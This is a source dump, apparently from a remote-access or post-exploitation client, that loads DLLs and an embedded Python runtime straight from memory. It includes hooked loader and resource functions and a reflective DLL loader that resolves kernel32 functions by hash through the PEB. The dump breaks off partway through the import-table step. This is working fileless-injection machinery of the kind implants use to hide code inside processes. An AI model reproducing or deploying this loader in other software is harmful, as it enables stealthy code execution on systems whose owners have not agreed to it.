    if (lib)
        res = (HRSRC) MemoryFindResourceExW(lib->module, name, type, language);
    else
        res = FindResourceExW(hModule, name, type, language);

    dprint("MyFindResourceExA(%p, %p, %p, %d) -> %p (%p)\n", hModule, name, type, language, res, lib);
    return res;
}

DWORD CALLBACK MySizeofResource(HMODULE hModule, HRSRC resource)
{
    PHCUSTOMLIBRARY lib;
    DWORD res;

    lib = _FindMemoryModule(NULL, hModule);
    if (lib)
        res = MemorySizeofResource(lib->module, (HMEMORYRSRC) resource);
    else
        res = SizeofResource(hModule, resource);

    dprint("MySizeofResource(%p, %p) -> %d (%p)\n", hModule, resource, res, lib);
    return res;
}

LPVOID CALLBACK MyLoadResource(HMODULE hModule, HRSRC resource)
{
    PHCUSTOMLIBRARY lib;
    LPVOID res;

    lib = _FindMemoryModule(NULL, hModule);
    if (lib)
        res = MemoryLoadResource(lib->module, (HMEMORYRSRC) resource);
    else
        res = LoadResource(hModule, resource);

    dprint("MyLoadResource(%p, %p) -> %d (%p)\n", hModule, resource, res, lib);
    return res;
}

BOOL MySetUnhandledExceptionFilter(LPCSTR pszModuleName, LPTOP_LEVEL_EXCEPTION_FILTER handler)
{
    PHCUSTOMLIBRARY lib;

    if (!pszModuleName) {
        lpDefaultExceptionHandler = handler;
        dprint("Set default thread handler to %p\n", lpDefaultExceptionHandler);
        return TRUE;
    }

    lib = _FindMemoryModule(pszModuleName, NULL);
    if (!lib) {
        dprint(
            "Failed to set default thread handler for %s to %p - module not found\n",
            pszModuleName, lpDefaultExceptionHandler
        );
    }

    lib->ehFilter = handler;

    dprint(
        "Set default thread handler for %s to %p\n",
        pszModuleName, lpDefaultExceptionHandler
    );

    return TRUE;
}

LPTOP_LEVEL_EXCEPTION_FILTER MyGetUnhandledExceptionFilter(VOID) {
    return lpDefaultExceptionHandler;
}

LONG WINAPI ThreadUnhandledExceptionFilter(
    DWORD dwExceptionCode, PEXCEPTION_POINTERS pExceptionPointers,
    PVOID pvThreadProc, LPTOP_LEVEL_EXCEPTION_FILTER lpFilter, LONG lResult
) {
    LPCSTR pszName = NULL;
    LPTOP_LEVEL_EXCEPTION_FILTER lpCustomFilter = NULL;

    LONG lVerdict = EXCEPTION_CONTINUE_SEARCH;

    if (dwExceptionCode == EXCEPTION_BREAKPOINT) {
        dprint(
            "ThreadUnhandledExceptionFilter (ThreadProc=%p): hit breakpoint (???) - ignore",
            pvThreadProc
        );

        return EXCEPTION_CONTINUE_SEARCH;
    }

    if (MyFindMemoryModuleNameByAddr(pvThreadProc, &pszName, NULL, &lpCustomFilter)) {
        dprint(
            "ThreadUnhandledExceptionFilter (ThreadProc=%p) Fatal exception, "
            "original ThreadProc from %s\n",
            pvThreadProc, pszName
        );

        if (lpCustomFilter) {
            lpFilter = lpCustomFilter;

            dprint(
                "Using custom exception filter for %s: %p\n",
                pszName, lpCustomFilter
            );

        }
    } else {
        dprint(
            "ThreadUnhandledExceptionFilter (ThreadProc=%p); "
            "Handling fatal exception with filter %p\n",
            pvThreadProc, lpFilter
        );
    }

    if (lpFilter)
        lVerdict = lpFilter(pExceptionPointers);

    return lVerdict;
}

static DWORD WINAPI WrappedThreadRoutine(LPVOID lpThreadParameter)
{
    DWORD dwResult = 0;
    ORIGINAL_THREAD_ARGS OriginalThreadArgs;

    RtlCopyMemory(&OriginalThreadArgs, lpThreadParameter, sizeof(OriginalThreadArgs));
    LocalFree(lpThreadParameter);

    __try {
        dprint(
            "Thread wrapper [%p]: Calling original args: %p(%p) filter: %p\n",
            WrappedThreadRoutine,
            OriginalThreadArgs.lpOriginalRoutine,
            OriginalThreadArgs.lpOriginalParameter,
            OriginalThreadArgs.lpExceptionFilter
        );

        dwResult = OriginalThreadArgs.lpOriginalRoutine(
            OriginalThreadArgs.lpOriginalParameter
        );
    }
    __except(ThreadUnhandledExceptionFilter(
        GetExceptionCode(), GetExceptionInformation(),
        OriginalThreadArgs.lpOriginalRoutine,
        OriginalThreadArgs.lpExceptionFilter, EXCEPTION_CONTINUE_SEARCH
    )) {
        dprint(
            "Thread wrapper with original args: %p(%p) fatal error "
            "and will die, but we'll try to countine\n",
            OriginalThreadArgs.lpOriginalRoutine,
            OriginalThreadArgs.lpOriginalParameter
        );

        return (DWORD)(-1);
    }

    dprint("Thread wrapper exited (%p)\n", OriginalThreadArgs.lpOriginalRoutine);
    return dwResult;
}

HANDLE CALLBACK MyCreateThread(
  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
  SIZE_T                  dwStackSize,
  LPTHREAD_START_ROUTINE  lpStartAddress,
  LPVOID                  lpParameter,
  DWORD                   dwCreationFlags,
  LPDWORD                 lpThreadId
)
{
    PORIGINAL_THREAD_ARGS pOriginalArgsCopy = LocalAlloc(
        LMEM_FIXED, sizeof(ORIGINAL_THREAD_ARGS)
    );

    dprint(
        "MyCreateThread(func=%p, args=%p eh=%p)\n",
        lpStartAddress, lpParameter, lpDefaultExceptionHandler
    );

    if (pOriginalArgsCopy) {
        pOriginalArgsCopy->lpOriginalRoutine = lpStartAddress;
        pOriginalArgsCopy->lpOriginalParameter = lpParameter;
        pOriginalArgsCopy->lpExceptionFilter = lpDefaultExceptionHandler;

        lpStartAddress = WrappedThreadRoutine;
        lpParameter = (PVOID) pOriginalArgsCopy;
    } else {
        dprint("MyCreateThread: LocalAlloc failed\n");
    }

    return CreateThread(
        lpThreadAttributes, dwStackSize, lpStartAddress,
        lpParameter, dwCreationFlags, lpThreadId
    );
}

VOID MyEnumerateLibraries(LibraryInfoCb_t callback, PVOID pvCallbackData)
{
    PHCUSTOMLIBRARY module, tmp;

    if (!callback)
        return;

    dprint("Enumerating libraries: %p\n", libraries);
    dprint("By Module hashmap: %p\n", libraries->by_module);

    HASH_ITER(by_module, libraries->by_module, module, tmp) {
        PVOID pvBaseAddress = NULL;
        ULONG ulSize = 0;

        dprint("GetMemoryModuleInfo: Try: %p\n", module);

        if (GetMemoryModuleInfo(module->module, &pvBaseAddress, &ulSize)) {
            dprint(
                "GetMemoryModuleInfo %p: name=%s base=%p size=%u callback=%p\n",
                module, module->name, pvBaseAddress, ulSize, callback
            );

            if (!callback(pvCallbackData, module->name, pvBaseAddress, ulSize)) {
                dprint("GetMemoryModuleInfo: break requested\n");
                break;
            }

            dprint("GetMemoryModuleInfo: continue\n");
        } else {
            dprint("GetMemoryModuleInfo failed for %p\n", module);
        }
    }

    dprint("Enumerating libraries: %p - complete\n", libraries);
}

BOOL MyFindMemoryModuleNameByAddr(
    PVOID pvAddress, LPCSTR *ppszName, PVOID *ppvBaseAddress,
    LPTOP_LEVEL_EXCEPTION_FILTER *pehFilter
) {
    PHCUSTOMLIBRARY module = _FindMemoryModuleByAddress(
        pvAddress, ppvBaseAddress
    );

    if (!module) {
        return FALSE;
    }

    if (ppszName)
        *ppszName = module->name;

    if (pehFilter)
        *pehFilter = module->ehFilter;

    return TRUE;
}


================================================
FILE: client/sources-windows-py3/MyLoadLibrary.h
================================================
#ifndef GENERALLOADLIBRARY_H
#define GENERALLOADLIBRARY_H

#include <windows.h>

#ifndef CALLBACK
#define CALLBACK WINAPI
#endif

HMODULE MyLoadLibrary(LPCSTR, void *, void *);
HMODULE MyLoadLibraryEx(LPCSTR, const PVOID, PVOID, PVOID, DWORD);

HMODULE CALLBACK MyLoadLibraryA(LPCSTR);
HMODULE CALLBACK MyLoadLibraryW(LPCWSTR);
HMODULE CALLBACK MyLoadLibraryExA(LPCSTR name, HANDLE hFile, DWORD dwFlags);
HMODULE CALLBACK MyLoadLibraryExW(LPCWSTR name, HANDLE hFile, DWORD dwFlags);
HMODULE CALLBACK MyGetModuleHandleA(LPCSTR name);
HMODULE CALLBACK MyGetModuleHandleW(LPCWSTR name);
BOOL CALLBACK MyGetModuleHandleExA(DWORD dwFlags, LPVOID lpArg, HMODULE *phModule);
BOOL CALLBACK MyGetModuleHandleExW(DWORD dwFlags, LPVOID lpArg, HMODULE *phModule);
DWORD CALLBACK MyGetModuleFileNameW(HMODULE, LPWSTR, DWORD);
DWORD CALLBACK MyGetModuleFileNameA(HMODULE, LPSTR, DWORD);
FARPROC CALLBACK MyGetProcAddress(HMODULE, LPCSTR);
BOOL CALLBACK MyFreeLibrary(HMODULE module);

HRSRC CALLBACK MyFindResourceA(HMODULE module, LPCSTR name, LPCSTR type);
HRSRC CALLBACK MyFindResourceW(HMODULE module, LPCWSTR name, LPCWSTR type);
HRSRC CALLBACK MyFindResourceExA(HMODULE hModule, LPCSTR name, LPCSTR type, WORD language);
HRSRC CALLBACK MyFindResourceExW(HMODULE hModule, LPCWSTR name, LPCWSTR type, WORD language);
DWORD CALLBACK MySizeofResource(HMODULE module, HRSRC resource);
LPVOID CALLBACK MyLoadResource(HMODULE module, HRSRC resource);
int CALLBACK MyLoadStringA(HMODULE module, UINT id, LPSTR buffer, int maxsize);
int CALLBACK MyLoadStringW(HMODULE module, UINT id, LPWSTR buffer, int maxsize);

FARPROC MyFindProcAddress(LPCSTR modulename, LPCSTR procname);

HANDLE CALLBACK MyCreateThread(
  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
  SIZE_T                  dwStackSize,
  LPTHREAD_START_ROUTINE  lpStartAddress,
  LPVOID                  lpParameter,
  DWORD                   dwCreationFlags,
  LPDWORD                 lpThreadId
);

VOID MySetLibraries(PVOID pLibraries);
BOOL MySetUnhandledExceptionFilter(
  LPCSTR pszModuleName, LPTOP_LEVEL_EXCEPTION_FILTER handler
);

LPTOP_LEVEL_EXCEPTION_FILTER MyGetUnhandledExceptionFilter(VOID);
PVOID MyGetLibraries();

typedef BOOL (*LibraryInfoCb_t) (
    PVOID pvCallbackData, LPCSTR pszName, PVOID pvBaseImage, ULONG ulSize
);

VOID MyEnumerateLibraries(LibraryInfoCb_t callback, PVOID pvCallbackData);
BOOL MyFindMemoryModuleNameByAddr(
  PVOID pvAddress, LPCSTR *ppszName, PVOID *ppvBaseAddress,
  LPTOP_LEVEL_EXCEPTION_FILTER *pehFilter
);

#ifndef DLL_QUERY_HMODULE
#define DLL_QUERY_HMODULE 6
#endif

#endif


================================================
FILE: client/sources-windows-py3/Python-dynload-os.h
================================================
#ifndef PYTHON_DYNLOAD_OS_H
#define PYTHON_DYNLOAD_OS_H

#include <windows.h>

#define PYTHON_LIB_NAME "python310.dll"

#include "MyLoadLibrary.h"
#include "MemoryModule.h"
#include "resource_python_manifest.c"
#include "actctx.h"

#define FILE_SYSTEM_ENCODING "mbcs"

#ifndef PATH_MAX
#define PATH_MAX 260
#endif

typedef FARPROC (WINAPI *resolve_symbol_t) (HMODULE hModule, const char *name);

#define OSAlloc(size) LocalAlloc(LMEM_FIXED, size)
#define OSFree(ptr) LocalFree(ptr)

static HMODULE OSLoadLibrary(const char *dllname) {
    HMODULE hModule = NULL;
    hModule = GetModuleHandle(dllname);
    if (!hModule)
        hModule = LoadLibrary(dllname);

    return hModule;
}

#define OSResolveSymbol MyGetProcAddress

static HMODULE MemLoadLibrary(const char *dllname, char *bytes, size_t size, void *arg) {
    ULONG_PTR cookie = _My_ActivateActCtx();
    HMODULE hModule = MyLoadLibrary(dllname, bytes, arg);
    _My_DeactivateActCtx(cookie);
    return hModule;
}


typedef struct PyPreConfig {
    int _config_init; 
    int parse_argv;
    int isolated;
    int use_environment;
    int configure_locale;
    int coerce_c_locale;
    int coerce_c_locale_warn;
    int legacy_windows_fs_encoding;
    int utf8_mode;
    int dev_mode;
    int allocator;
} PyPreConfig;

typedef struct {
    enum {
        _PyStatus_TYPE_OK=0,
        _PyStatus_TYPE_ERROR=1,
        _PyStatus_TYPE_EXIT=2
    } _type;
    const char *func;
    const char *err_msg;
    int exitcode;
} PyStatus;

typedef struct {
    /* If length is greater than zero, items must be non-NULL
       and all items strings must be non-NULL */
    Py_ssize_t length;
    wchar_t **items;
} PyWideStringList;

typedef struct PyConfig {
    int _config_init;     /* _PyConfigInitEnum value */

    int isolated;
    int use_environment;
    int dev_mode;
    int install_signal_handlers;
    int use_hash_seed;
    unsigned long hash_seed;
    int faulthandler;
    int tracemalloc;
    int perf_profiling;
    int import_time;
    int code_debug_ranges;
    int show_ref_count;
    int dump_refs;
    wchar_t *dump_refs_file;
    int malloc_stats;
    wchar_t *filesystem_encoding;
    wchar_t *filesystem_errors;
    wchar_t *pycache_prefix;
    int parse_argv;
    PyWideStringList orig_argv;
    PyWideStringList argv;
    PyWideStringList xoptions;
    PyWideStringList warnoptions;
    int site_import;
    int bytes_warning;
    int warn_default_encoding;
    int inspect;
    int interactive;
    int optimization_level;
    int parser_debug;
    int write_bytecode;
    int verbose;
    int quiet;
    int user_site_directory;
    int configure_c_stdio;
    int buffered_stdio;
    wchar_t *stdio_encoding;
    wchar_t *stdio_errors;
#ifdef _WIN32
    int legacy_windows_stdio;
#endif
    wchar_t *check_hash_pycs_mode;
    int use_frozen_modules;
    int safe_path;
    int int_max_str_digits;

    /* --- Path configuration inputs ------------ */
    int pathconfig_warnings;
    wchar_t *program_name;
    wchar_t *pythonpath_env;
    wchar_t *home;
    wchar_t *platlibdir;

    /* --- Path configuration outputs ----------- */
    int module_search_paths_set;
    PyWideStringList module_search_paths;
    wchar_t *stdlib_dir;
    wchar_t *executable;
    wchar_t *base_executable;
    wchar_t *prefix;
    wchar_t *base_prefix;
    wchar_t *exec_prefix;
    wchar_t *base_exec_prefix;

    /* --- Parameter only used by Py_Main() ---------- */
    int skip_source_first_line;
    wchar_t *run_command;
    wchar_t *run_module;
    wchar_t *run_filename;

    /* --- Private fields ---------------------------- */

    // Install importlib? If equals to 0, importlib is not initialized at all.
    // Needed by freeze_importlib.
    int _install_importlib;

    // If equal to 0, stop Python initialization before the "main" phase.
    int _init_main;

    // If non-zero, disallow threads, subprocesses, and fork.
    // Default: 0.
    int _isolated_interpreter;

    // If non-zero, we believe we're running from a source tree.
    int _is_python_build;
} PyConfig;

#define MemResolveSymbol MyGetProcAddress
#define CheckLibraryLoaded MyGetModuleHandleA

#define OSUnmapRegion(start, size) do {} while(0)
       

        
#define DEPENDENCIES { \
        { \
            "VCRUNTIME140.DLL", \
            vcruntime140_c_start, vcruntime140_c_size, FALSE \
        }, \
        { \
            LIBCRYPTO, \
            libcrypto_c_start, libcrypto_c_size, FALSE \
        }, \
        { \
            LIBSSL, \
            libssl_c_start, libssl_c_size, FALSE \
        }, \
        { \
            LIBFFI, \
            libffi_c_start, libffi_c_size, FALSE \
        }, \
        { \
            "PYTHON310.DLL", \
            python3_c_start, python3_c_size, TRUE \
        } \
    }

#ifndef PYTHON_DYNLOAD_OS_NO_BLOBS
static char *OSGetProgramName() {
    static const char *program_name = "";
    static BOOL is_set = FALSE;

    wchar_t exe[PATH_MAX];
    int retval;

    if (is_set)
        return program_name;

    if (!GetModuleFileNameW(NULL, exe, PATH_MAX))
        return NULL;

    retval = WideCharToMultiByte(
        CP_UTF8, 0, exe, -1, NULL,
        0, NULL, NULL
    );

    if (!SUCCEEDED(retval))
        return NULL;

    program_name = LocalAlloc(LMEM_FIXED, retval);
    if (!program_name)
        return NULL;

    retval = WideCharToMultiByte(
        CP_UTF8, 0, exe, -1, program_name,
        retval, NULL, NULL
    );

    if (!SUCCEEDED(retval)) {
        LocalFree(program_name);
        return NULL;
    }

    is_set = TRUE;
    return program_name;
}

#include "vcruntime140.c"
#include "python3.c"
#include "libcrypto.c"
#include "libssl.c"
#include "libffi.c"
#endif

#endif // PYTHON_DYNLOAD_OS_H


================================================
FILE: client/sources-windows-py3/ReflectiveDllInjection.h
================================================
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
//     * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
//     * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
//     * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>

// we declare some common stuff in here...

#define DLL_QUERY_HMODULE		6

#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(DWORD64 *)(name)
#define DEREF_32( name )*(DWORD *)(name)
#define DEREF_16( name )*(WORD *)(name)
#define DEREF_8( name )*(BYTE *)(name)

typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( PVOID );
typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID );

#define DLLEXPORT   __declspec( dllexport )

//===============================================================================================//
#endif
//===============================================================================================//



================================================
FILE: client/sources-windows-py3/ReflectiveLoader.c
================================================
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
//     * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
//     * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
//     * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#include "ReflectiveLoader.h"
//===============================================================================================//
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
HINSTANCE hAppInstance = NULL;
//===============================================================================================//
#pragma intrinsic(_ReturnAddress)
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
// available (and no inline asm available under x64).
__declspec(noinline) ULONG_PTR caller(VOID) { return (ULONG_PTR)_ReturnAddress(); }
//===============================================================================================//

typedef void **PPVOID;

typedef struct {
    DWORD dwFunctionHash;
    PPVOID ppvFunctionAddress;
} ImportFunc;

typedef struct {
    DWORD dwModuleHash;
    DWORD dwCount;
    ImportFunc *funcs;
} ImportFrom;


// This is our position independent reflective DLL loader/injector
DLLEXPORT ULONG_PTR WINAPI REFLECTIVE_LOADER_SYM(LPVOID lpParameter)
{
    // the functions we need
    LOADLIBRARYA pLoadLibraryA;
    GETPROCADDRESS pGetProcAddress;
    VIRTUALALLOC pVirtualAlloc;
    VIRTUALPROTECT pVirtualProtect;
    VIRTUALFREE pVirtualFree;

#ifdef _WIN64
    RTLADDFUNCTIONTABLE pRtlAddFunctionTable;
#endif
    // NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache;

    BOOL blModuleResolved = FALSE;
    BOOL blAllFound = FALSE;

    // the initial location of this image in memory
    ULONG_PTR uiLibraryAddress;
    // the kernels base address and later this images newly loaded base address
    ULONG_PTR uiBaseAddress;

    // variables for processing the kernels export table
    ULONG_PTR uiAddressArray;
    ULONG_PTR uiNameArray;
    ULONG_PTR uiExportDir;
    ULONG_PTR uiNameOrdinals;

    DWORD dwHashValue;
    DWORD dwSizeOfImage;

    // variables for loading this image
    ULONG_PTR uiHeaderValue;
    ULONG_PTR uiValueA;
    ULONG_PTR uiValueB;
    ULONG_PTR uiValueC;
    ULONG_PTR uiValueD;
    ULONG_PTR uiValueE;
    ULONG_PTR uiValueF;

    PPVOID ppvFunction = NULL;
    ImportFunc *funcs;

    DWORD dwIdx = 0;
    DWORD dwNotFound;
    DWORD dwFunctions;
    DWORD dwNotFoundModules;
    DWORD dwModules;
    DWORD usCounter;

    ImportFunc kernel32[] = {
        {LOADLIBRARYA_HASH, &pLoadLibraryA},
        {GETPROCADDRESS_HASH, &pGetProcAddress},
        {VIRTUALALLOC_HASH, &pVirtualAlloc},
        {VIRTUALPROTECT_HASH, &pVirtualProtect},
        {VIRTUALFREE_HASH, &pVirtualFree}
#ifdef _WIN64
        , {RTLADDFUNCTIONTABLE_HASH, &pRtlAddFunctionTable}
#endif
    };

    // ImportFunc ntdll[] = {
    //     {NTFLUSHINSTRUCTIONCACHE_HASH, &pNtFlushInstructionCache},
    // };

    ImportFrom imports[] = {
        // {NTDLLDLL_HASH, sizeof(ntdll)/sizeof(ImportFunc), ntdll},
        {KERNEL32DLL_HASH, sizeof(kernel32)/sizeof(ImportFunc), kernel32}
    };

    dwModules = dwNotFoundModules = sizeof(imports)/sizeof(ImportFrom);

    // STEP 0: calculate our images current base address

    // we will start searching backwards from our callers return address.
    uiLibraryAddress = caller();

    // loop through memory backwards searching for our images base address
    // we dont need SEH style search as we shouldnt generate any access violations with this
    while(TRUE)
    {
        if((((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE) || (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE_ALT))
        {
            uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
            // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
            // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
            if(uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
            {
                uiHeaderValue += uiLibraryAddress;
                // break if we have found a valid MZ/PE header
                if((((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE) || (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE_ALT))
                    break;
            }
        }
        uiLibraryAddress --;
    }

    // STEP 1: process the kernels exports for the functions our loader needs...

    // get the Process Enviroment Block
#ifdef WIN_X64
    uiBaseAddress = __readgsqword(0x60);
#else
#ifdef WIN_X86
    uiBaseAddress = __readfsdword(0x30);
#else WIN_ARM
    uiBaseAddress = *(DWORD *)((BYTE *)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30);
#endif
#endif

    // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
    uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;

    // get the first entry of the InMemoryOrder module list
    uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
    while(uiValueA && dwNotFoundModules)
    {
        funcs = NULL;

        // get pointer to current modules name (unicode string)
        uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
        // set bCounter to the length for the loop
        usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
        // clear uiValueC which will store the hash of the module name
        uiValueC = 0;

        // compute the hash of the module name...
        uiValueC = hashmodname(uiValueB, usCounter);

        for (dwIdx = 0; dwIdx<dwModules; dwIdx ++) {
            if (uiValueC == imports[dwIdx].dwModuleHash) {
                funcs = imports[dwIdx].funcs;
                dwNotFound = dwFunctions = imports[dwIdx].dwCount;
                dwNotFoundModules --;
                break;
            }
        }

        if (!funcs) {
            uiValueA = DEREF(uiValueA);
            continue;
        }

        uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;

        // get the VA of the modules NT Header
        uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

        // uiNameArray = the address of the modules export directory entry
        uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

        // get the VA of the export directory
        uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);

        // get the VA for the array of name pointers
        uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);

        // get the VA for the array of name ordinals
        uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);

        // loop while we still have imports to find
        while(dwNotFound)
        {
            ppvFunction = NULL;

            // compute the hash values for this function name
            dwHashValue = symhash((unsigned char *)(uiBaseAddress + DEREF_32(uiNameArray)));

            for (dwIdx = 0; dwIdx < dwFunctions; dwIdx ++) {
                if (dwHashValue == funcs[dwIdx].dwFunctionHash) {
                    ppvFunction = funcs[dwIdx].ppvFunctionAddress;
                    break;
                }
            }

            if (ppvFunction) {
                // get the VA for the array of addresses
                uiAddressArray = (
                    uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);

                // use this functions name ordinal as an index into the array of name pointers
                uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));

                // store this functions VA
                *ppvFunction = (PVOID) (uiBaseAddress + DEREF_32(uiAddressArray));

                // decrement our counter
                dwNotFound -= 1;
            }

            // get the next exported function name
            uiNameArray += sizeof(DWORD);

            // get the next exported function name ordinal
            uiNameOrdinals += sizeof(WORD);
        }

        // get the next entry
        uiValueA = DEREF(uiValueA);
    }

    // STEP 2: load our image into a new permanent location in memory...

    // get the VA of the NT Header for the PE to be loaded
    uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

    // allocate all the memory for the DLL to be loaded into. we can load at any address because we will
    // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
    dwSizeOfImage = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage;
    uiBaseAddress = (ULONG_PTR) pVirtualAlloc(
        NULL, dwSizeOfImage,
        MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE
   );

    // we must now copy over the headers
    uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
    uiValueB = uiLibraryAddress;
    uiValueC = uiBaseAddress;

    while(uiValueA--)
        *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;

    // STEP 3: load in all of our sections...

    // uiValueA = the VA of the first section
    uiValueA = ((ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);

    // itterate through all sections, loading them into memory.
    uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
    while(uiValueE--)
    {
        // uiValueB is the VA for this section
        uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);

        // uiValueC if the VA for this sections data
        uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData);

        // copy the section over
        uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;

        while(uiValueD--)
            *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;

        // get the VA of the next section
        uiValueA += sizeof(IMAGE_SECTION_HEADER);
    }

    // STEP 4: process our images import table...

    // uiValueB = the address of the import directory
    uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];

    // we assume their is an import table to process
    // uiValueC is the first entry in the import table
    uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);

    // itterate through all imports
    while(((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)
    {
        // use LoadLibraryA to load the imported module into memory
